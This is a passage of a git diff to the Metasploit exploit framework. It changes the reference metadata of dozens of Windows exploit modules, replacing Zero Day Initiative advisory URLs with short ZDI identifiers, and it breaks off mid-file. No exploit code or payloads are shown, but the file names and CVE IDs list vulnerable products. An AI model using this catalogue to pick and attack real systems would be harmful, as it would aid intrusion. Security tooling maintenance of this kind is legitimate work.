'http://www.abysssec.com/blog/2011/11/02/microsoft-excel-2007-sp2-buffer-overwrite-vulnerability-ba-exploit-ms11-021/'] ], 'Payload' => diff --git a/modules/exploits/windows/http/adobe_robohelper_authbypass.rb b/modules/exploits/windows/http/adobe_robohelper_authbypass.rb index 295f456df9..9953aa07b0 100644 --- a/modules/exploits/windows/http/adobe_robohelper_authbypass.rb +++ b/modules/exploits/windows/http/adobe_robohelper_authbypass.rb @@ -28,7 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2009-3068' ], [ 'OSVDB', '57896'], [ 'URL', 'http://www.intevydis.com/blog/?p=69' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-066' ], + [ 'ZDI', '09-066' ], ], 'Targets' => [ diff --git a/modules/exploits/windows/http/apache_modjk_overflow.rb b/modules/exploits/windows/http/apache_modjk_overflow.rb index 6c0f87e633..c1ffa289ee 100644 --- a/modules/exploits/windows/http/apache_modjk_overflow.rb +++ b/modules/exploits/windows/http/apache_modjk_overflow.rb @@ -25,7 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2007-0774' ], [ 'OSVDB', '33855' ], [ 'BID', '22791' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-07-008.html' ] + [ 'ZDI', '07-008' ] ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/http/avaya_ccr_imageupload_exec.rb b/modules/exploits/windows/http/avaya_ccr_imageupload_exec.rb index fd5bf59c74..3469695d84 100644 --- a/modules/exploits/windows/http/avaya_ccr_imageupload_exec.rb +++ b/modules/exploits/windows/http/avaya_ccr_imageupload_exec.rb @@ -34,7 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'OSVDB', '83399' ], [ 'BID', '54225' ], [ 'URL', 'https://downloads.avaya.com/css/P8/documents/100164021' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-106/' ] + [ 'ZDI', '12-106' ] ], 'Targets' => [ diff --git a/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb b/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb index 7e55d58e30..7b11914c7e 100644 --- a/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb +++ b/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb @@ -25,7 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-134' ], + [ 'ZDI', '11-134' ], [ 'OSVDB', '74968'], [ 'CVE', '2011-1653' ], ], diff --git a/modules/exploits/windows/http/cogent_datahub_request_headers_bof.rb b/modules/exploits/windows/http/cogent_datahub_request_headers_bof.rb index 7fe4d8bd68..0d6e244568 100644 --- a/modules/exploits/windows/http/cogent_datahub_request_headers_bof.rb +++ b/modules/exploits/windows/http/cogent_datahub_request_headers_bof.rb @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'OSVDB', '95819'], [ 'BID', '53455'], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-178' ], + [ 'ZDI', '13-178' ], [ 'URL', 'http://www.cogentdatahub.com/Info/130712_ZDI-CAN-1915_Response.html'] ], 'DefaultOptions' => diff --git a/modules/exploits/windows/http/hp_imc_bims_upload.rb b/modules/exploits/windows/http/hp_imc_bims_upload.rb index d95b5696c6..4766b4e4a6 100644 --- a/modules/exploits/windows/http/hp_imc_bims_upload.rb +++ b/modules/exploits/windows/http/hp_imc_bims_upload.rb @@ -34,7 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2013-4822' ], [ 'OSVDB', '98247' ], [ 'BID', '62895' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-238/' ], + [ 'ZDI', '13-238' ], [ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03943425' ] ], 'Privileged' => true, diff --git a/modules/exploits/windows/http/hp_imc_mibfileupload.rb b/modules/exploits/windows/http/hp_imc_mibfileupload.rb index a41f7332e9..773d860001 100644 --- a/modules/exploits/windows/http/hp_imc_mibfileupload.rb +++ b/modules/exploits/windows/http/hp_imc_mibfileupload.rb @@ -34,7 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2012-5201' ], [ 'OSVDB', '91026' ], [ 'BID', '58385' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-050/' ], + [ 'ZDI', '13-050' ], [ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03689276' ] ], 'Privileged' => true, diff --git a/modules/exploits/windows/http/hp_mpa_job_acct.rb b/modules/exploits/windows/http/hp_mpa_job_acct.rb index ff6c348180..34debef77c 100644 --- a/modules/exploits/windows/http/hp_mpa_job_acct.rb +++ b/modules/exploits/windows/http/hp_mpa_job_acct.rb @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote ['CVE', '2011-4166'], ['OSVDB', '78015'], ['BID', '51174'], - ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-352/'], + ['ZDI', '11-352'], ['URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03128469'] ], 'Targets' => diff --git a/modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb b/modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb index 4f41ed16ee..92a52a0922 100644 --- a/modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb +++ b/modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['CVE', '2011-0266'], ['OSVDB', '70473'], - ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-008/'] + ['ZDI', '11-008'] ], 'Payload' => { diff --git a/modules/exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb b/modules/exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb index fad74aafd9..24cb1da3df 100644 --- a/modules/exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb +++ b/modules/exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb @@ -25,7 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['CVE', '2011-0267'], ['OSVDB', '70473'], - ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-009/'], + ['ZDI', '11-009'], ], 'Payload' => { diff --git a/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb b/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb index d5d65c0bae..45dbf51476 100644 --- a/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb +++ b/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb @@ -47,7 +47,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2011-3167' ], [ 'OSVDB', '76775' ], [ 'BID', '50471' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-002/' ], + [ 'ZDI', '12-002' ], [ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03054052' ] ], 'Payload' => diff --git a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_main.rb b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_main.rb index 8f9c044071..9bd63e0368 100644 --- a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_main.rb +++ b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_main.rb @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2010-1964' ], [ 'OSVDB', '65552' ], [ 'BID', '40873' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-108/' ], + [ 'ZDI', '10-108' ], [ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02217439' ] ], 'DefaultOptions' => diff --git a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_ovutil.rb b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_ovutil.rb index b1e2c9760c..9daabfee8d 100644 --- a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_ovutil.rb +++ b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_ovutil.rb @@ -47,7 +47,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2010-1961' ], [ 'OSVDB', '65428' ], [ 'BID', '40638' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-106/' ], + [ 'ZDI', '10-106' ], [ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02217439' ] ], 'DefaultOptions' => diff --git a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_uro.rb b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_uro.rb index 57aa420763..c08152ab9d 100644 --- a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_uro.rb +++ b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_uro.rb @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2010-1960' ], [ 'OSVDB', '65427' ], [ 'BID', '40637' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-105/' ], + [ 'ZDI', '10-105' ], [ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02217439' ] ], 'DefaultOptions' => diff --git a/modules/exploits/windows/http/hp_nnm_snmpviewer_actapp.rb b/modules/exploits/windows/http/hp_nnm_snmpviewer_actapp.rb index 5c9cd4774e..db806283fb 100644 --- a/modules/exploits/windows/http/hp_nnm_snmpviewer_actapp.rb +++ b/modules/exploits/windows/http/hp_nnm_snmpviewer_actapp.rb @@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2010-1552' ], [ 'OSVDB', '64975' ], [ 'BID', '40068' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-083/' ], + [ 'ZDI', '10-083' ], [ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02153379' ] ], 'DefaultOptions' => diff --git a/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb b/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb index 304f5a0656..7c8b831072 100644 --- a/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb +++ b/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb @@ -46,7 +46,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'OSVDB', '66514' ], [ 'BID', '41829' ], [ 'URL', 'http://www.vupen.com/english/advisories/2010/1866' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-137/' ], + [ 'ZDI', '10-137' ], [ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02286088' ] ], 'Payload' => diff --git a/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb b/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb index 55377a6512..4d09755a4b 100644 --- a/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb +++ b/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2013-4812' ], [ 'OSVDB', '97155' ], [ 'BID', '62348' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-225/' ] + [ 'ZDI', '13-225' ] ], 'Privileged' => true, 'Platform' => 'win', diff --git a/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb b/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb index ea2a887a49..3a6e09fca2 100644 --- a/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb +++ b/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2013-4811' ], [ 'OSVDB', '97154' ], [ 'BID', '62349' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-226/' ] + [ 'ZDI', '13-226' ] ], 'Privileged' => true, 'Platform' => 'win', diff --git a/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb b/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb index ba52eb6904..88d2ad2ae9 100644 --- a/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb +++ b/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2013-2367'], [ 'OSVDB', '95824' ], [ 'BID', '61506' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-205/' ] + [ 'ZDI', '13-205' ] ], 'Privileged' => true, 'Platform' => 'win', diff --git a/modules/exploits/windows/http/ibm_tivoli_endpoint_bof.rb b/modules/exploits/windows/http/ibm_tivoli_endpoint_bof.rb index 06e2712d6d..8c1b1fbb00 100644 --- a/modules/exploits/windows/http/ibm_tivoli_endpoint_bof.rb +++ b/modules/exploits/windows/http/ibm_tivoli_endpoint_bof.rb @@ -35,7 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'OSVDB', '72713'], # buffer overflow [ 'OSVDB', '72751'], # hardcoded account [ 'BID', '48049'], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-169/' ], + [ 'ZDI', '11-169' ], ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/http/novell_imanager_upload.rb b/modules/exploits/windows/http/novell_imanager_upload.rb index e4c901db33..68935e08ce 100644 --- a/modules/exploits/windows/http/novell_imanager_upload.rb +++ b/modules/exploits/windows/http/novell_imanager_upload.rb @@ -29,7 +29,7 @@ class Metasploit3 < Msf::Exploit::Remote [ #[ 'CVE', '2010-??' ], [ 'OSVDB', '68320'], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-190/' ], + [ 'ZDI', '10-190' ], [ 'URL', 'http://www.novell.com/support/viewContent.do?externalId=7006515&sliceId=2' ], ], 'Targets' => diff --git a/modules/exploits/windows/http/novell_mdm_lfi.rb b/modules/exploits/windows/http/novell_mdm_lfi.rb index 935e6ec5bf..584055c214 100644 --- a/modules/exploits/windows/http/novell_mdm_lfi.rb +++ b/modules/exploits/windows/http/novell_mdm_lfi.rb @@ -34,7 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['CVE', '2013-1081'], ['OSVDB', '91119'], - ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-087/'], + ['ZDI', '13-087'], ['URL', 'http://www.novell.com/support/kb/doc.php?id=7011895'] ], 'DisclosureDate' => "Mar 13 2013", diff --git a/modules/exploits/windows/http/oracle_endeca_exec.rb b/modules/exploits/windows/http/oracle_endeca_exec.rb index 4f3a6c5c89..45ce9d8c4c 100644 --- a/modules/exploits/windows/http/oracle_endeca_exec.rb +++ b/modules/exploits/windows/http/oracle_endeca_exec.rb @@ -34,7 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2013-3763' ], [ 'BID', '61217' ], [ 'OSVDB', '95269' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-190/' ], + [ 'ZDI', '13-190' ], [ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpujuly2013-1899826.html' ] ], 'Targets' => diff --git a/modules/exploits/windows/http/osb_uname_jlist.rb b/modules/exploits/windows/http/osb_uname_jlist.rb index 7cf961f793..1590d1ba62 100644 --- a/modules/exploits/windows/http/osb_uname_jlist.rb +++ b/modules/exploits/windows/http/osb_uname_jlist.rb @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'CVE', '2010-0904' ], [ 'OSVDB', '66338' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-118' ] + [ 'ZDI', '10-118' ] # the jlist vector has not been disclosed or has it? ], 'Targets' => diff --git a/modules/exploits/windows/http/vmware_vcenter_chargeback_upload.rb b/modules/exploits/windows/http/vmware_vcenter_chargeback_upload.rb index 89c3642303..9c2fa10d7d 100644 --- a/modules/exploits/windows/http/vmware_vcenter_chargeback_upload.rb +++ b/modules/exploits/windows/http/vmware_vcenter_chargeback_upload.rb @@ -35,7 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2013-3520' ], [ 'OSVDB', '94188' ], [ 'BID', '60484' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-147/' ] + [ 'ZDI', '13-147' ] ], 'Privileged' => true, 'Platform' => 'win', diff --git a/modules/exploits/windows/http/zenworks_assetmgmt_uploadservlet.rb b/modules/exploits/windows/http/zenworks_assetmgmt_uploadservlet.rb index f0f68919cd..717132a791 100644 --- a/modules/exploits/windows/http/zenworks_assetmgmt_uploadservlet.rb +++ b/modules/exploits/windows/http/zenworks_assetmgmt_uploadservlet.rb @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2011-2653' ], [ 'OSVDB', '77583' ], [ 'BID', '50966' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-342/' ], + [ 'ZDI', '11-342' ], [ 'URL', 'http://download.novell.com/Download?buildid=hPvHtXeNmCU~' ] ], 'Privileged' => true, diff --git a/modules/exploits/windows/http/zenworks_uploadservlet.rb b/modules/exploits/windows/http/zenworks_uploadservlet.rb index 5cd0a119e2..9d675fec6a 100644 --- a/modules/exploits/windows/http/zenworks_uploadservlet.rb +++ b/modules/exploits/windows/http/zenworks_uploadservlet.rb @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'OSVDB', '63412' ], [ 'BID', '39114' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-078/' ], + [ 'ZDI', '10-078' ], [ 'URL', 'http://tucanalamigo.blogspot.com/2010/04/pdc-de-zdi-10-078.html' ], [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7005573' ] ], diff --git a/modules/exploits/windows/imap/novell_netmail_append.rb b/modules/exploits/windows/imap/novell_netmail_append.rb index bf5c33db45..e9d76471be 100644 --- a/modules/exploits/windows/imap/novell_netmail_append.rb +++ b/modules/exploits/windows/imap/novell_netmail_append.rb @@ -25,7 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2006-6425' ], [ 'OSVDB', '31362' ], [ 'BID', '21723' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-06-054.html' ], + [ 'ZDI', '06-054' ], ], 'Privileged' => true, 'DefaultOptions' => diff --git a/modules/exploits/windows/license/flexnet_lmgrd_bof.rb b/modules/exploits/windows/license/flexnet_lmgrd_bof.rb index f640ef77d4..d2a0479ec7 100644 --- a/modules/exploits/windows/license/flexnet_lmgrd_bof.rb +++ b/modules/exploits/windows/license/flexnet_lmgrd_bof.rb @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'OSVDB', '81899' ], [ 'BID', '52718' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-052/' ], + [ 'ZDI', '12-052' ], [ 'URL', 'http://aluigi.altervista.org/adv/lmgrd_1-adv.txt' ], [ 'URL', 'http://www.flexerasoftware.com/pl/13057.htm' ] # Vendor advisory ], diff --git a/modules/exploits/windows/lotus/domino_icalendar_organizer.rb b/modules/exploits/windows/lotus/domino_icalendar_organizer.rb index a1a8c7e63f..c84035dd39 100644 --- a/modules/exploits/windows/lotus/domino_icalendar_organizer.rb +++ b/modules/exploits/windows/lotus/domino_icalendar_organizer.rb @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'CVE', '2010-3407' ], [ 'OSVDB', '68040' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-177/' ], + [ 'ZDI', '10-177' ], [ 'URL', 'http://labs.mwrinfosecurity.com/advisories/lotus_domino_ical_stack_buffer_overflow/' ], [ 'URL', 'http://www-01.ibm.com/support/docview.wss?rs=475&uid=swg21446515' ], ], diff --git a/modules/exploits/windows/lotus/domino_sametime_stmux.rb b/modules/exploits/windows/lotus/domino_sametime_stmux.rb index ae51722caa..602110d628 100644 --- a/modules/exploits/windows/lotus/domino_sametime_stmux.rb +++ b/modules/exploits/windows/lotus/domino_sametime_stmux.rb @@ -28,7 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2008-2499' ], [ 'OSVDB', '45610' ], [ 'BID', '29328' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-08-028/' ], + [ 'ZDI', '08-028' ], ], 'Privileged' => true, 'DefaultOptions' => diff --git a/modules/exploits/windows/misc/citrix_streamprocess.rb b/modules/exploits/windows/misc/citrix_streamprocess.rb index eb46ecb256..e01e9f6175 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess.rb @@ -24,7 +24,7 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ [ 'OSVDB', '70597'], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-023/' ], + [ 'ZDI', '11-023' ], [ 'URL', 'http://secunia.com/advisories/42954/' ], [ 'URL', 'http://support.citrix.com/article/CTX127149' ], ], diff --git a/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb b/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb index a15393ddf8..b857ee1508 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['OSVDB', '75780'], ['BID', '49803'], - ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-009'], + ['ZDI', '12-009'], ['URL', 'http://support.citrix.com/article/CTX130846'] ], 'DefaultOptions' => diff --git a/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb b/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb index eae86e6e62..1b6bb06d83 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote ['OSVDB', '75780'], ['BID', '49803'], ['URL', 'http://support.citrix.com/article/CTX130846'], - ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-010/'] + ['ZDI', '12-010'] ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/misc/eiqnetworks_esa.rb b/modules/exploits/windows/misc/eiqnetworks_esa.rb index 105d8fc805..e22d345013 100644 --- a/modules/exploits/windows/misc/eiqnetworks_esa.rb +++ b/modules/exploits/windows/misc/eiqnetworks_esa.rb @@ -26,7 +26,7 @@ class Metasploit3 < Msf::Exploit::Remote ['CVE', '2006-3838'], ['OSVDB', '27526'], ['BID', '19163'], - ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-06-024.html'], + ['ZDI', '06-024'], ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb b/modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb index ccd5ff3b84..a5e1d0c360 100644 --- a/modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb +++ b/modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote ['CVE', '2011-5227'], ['OSVDB', '77971'], ['BID', '51124'], - ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-350/'], + ['ZDI', '11-350'], ['URL', 'https://cp-enterasys.kb.net/article.aspx?article=14206&p=1'] ], 'Payload' => diff --git a/modules/exploits/windows/misc/hp_dataprotector_crs.rb b/modules/exploits/windows/misc/hp_dataprotector_crs.rb index 7caa3b12f6..6e5429bf6e 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_crs.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_crs.rb @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2013-2333' ], [ 'OSVDB', '93867' ], [ 'BID', '60309' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-130/' ] + [ 'ZDI', '13-130' ] ], 'Privileged' => true, 'Payload' => diff --git a/modules/exploits/windows/misc/hp_dataprotector_dtbclslogin.rb b/modules/exploits/windows/misc/hp_dataprotector_dtbclslogin.rb index 6968982594..ecaa4167dc 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_dtbclslogin.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_dtbclslogin.rb @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2010-3007' ], [ 'OSVDB', '67973' ], [ 'BID', '43105' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-174/' ], + [ 'ZDI', '10-174' ], [ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02498535' ] ], 'Payload' => diff --git a/modules/exploits/windows/misc/hp_imc_uam.rb b/modules/exploits/windows/misc/hp_imc_uam.rb index 07f36d6793..f55e3724a6 100644 --- a/modules/exploits/windows/misc/hp_imc_uam.rb +++ b/modules/exploits/windows/misc/hp_imc_uam.rb @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote ['CVE', '2012-3274'], ['OSVDB', '85060'], ['BID', '55271'], - ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-171'], + ['ZDI', '12-171'], ['URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c03589863'] ], 'Payload' => diff --git a/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb b/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb index 799d4ebfb6..6b25504e3e 100644 --- a/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb +++ b/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb @@ -29,7 +29,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['CVE', '2013-4800'], ['OSVDB', '95644'], - ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-169/'] + ['ZDI', '13-169'] ], 'Privileged' => false, 'DefaultOptions' => diff --git a/modules/exploits/windows/misc/hp_magentservice.rb b/modules/exploits/windows/misc/hp_magentservice.rb index 686841678c..1f0810650e 100644 --- a/modules/exploits/windows/misc/hp_magentservice.rb +++ b/modules/exploits/windows/misc/hp_magentservice.rb @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['OSVDB', '72815'], ['CVE', '2011-4789'], - ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-016/'] + ['ZDI', '12-016'] ], 'Privileged' => true, 'DefaultOptions' => diff --git a/modules/exploits/windows/misc/hp_omniinet_1.rb b/modules/exploits/windows/misc/hp_omniinet_1.rb index 2a18b874df..a4e7ce8675 100644 --- a/modules/exploits/windows/misc/hp_omniinet_1.rb +++ b/modules/exploits/windows/misc/hp_omniinet_1.rb @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2007-2280' ], [ 'BID', '37396' ], [ 'OSVDB', '61206' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-099' ] + [ 'ZDI', '09-099' ] ], 'Privileged' => true, 'DefaultOptions' => diff --git a/modules/exploits/windows/misc/hp_omniinet_2.rb b/modules/exploits/windows/misc/hp_omniinet_2.rb index 2840b9e996..f4e4a98f9a 100644 --- a/modules/exploits/windows/misc/hp_omniinet_2.rb +++ b/modules/exploits/windows/misc/hp_omniinet_2.rb @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2009-3844' ], [ 'BID', '37250' ], [ 'OSVDB', '60852' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-091' ] + [ 'ZDI', '09-091' ] ], 'Privileged' => true, 'DefaultOptions' => diff --git a/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb b/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb index c716bd916a..6c932d6167 100644 --- a/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb +++ b/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2012-2019' ], [ 'OSVDB', '83673' ], [ 'BID', '54362' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-114/' ] + [ 'ZDI', '12-114' ] ], 'Payload' => { diff --git a/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb b/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb index 078a031d7b..849b526a0e 100644 --- a/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb +++ b/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2012-2020' ], [ 'OSVDB', '83674' ], [ 'BID', '54362' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-115/' ] + [ 'ZDI', '12-115' ] ], 'Payload' => { diff --git a/modules/exploits/windows/misc/ibm_cognos_tm1admsd_bof.rb b/modules/exploits/windows/misc/ibm_cognos_tm1admsd_bof.rb index 67f28d4383..942d478bb0 100644 --- a/modules/exploits/windows/misc/ibm_cognos_tm1admsd_bof.rb +++ 